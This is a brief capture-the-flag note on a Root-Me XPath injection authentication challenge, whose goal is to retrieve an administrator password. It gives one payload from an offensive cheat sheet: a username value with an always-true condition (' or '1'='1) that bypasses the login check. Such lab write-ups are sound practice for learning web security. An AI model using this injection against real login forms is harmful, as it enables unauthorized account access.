XPath injection: authentication

root-me challenge: XPath injection - Authentication: retrieve the administrator password.

---

Using Offensive Security Cheatsheet: XPath Injections:

username=John' or '1'='1&password=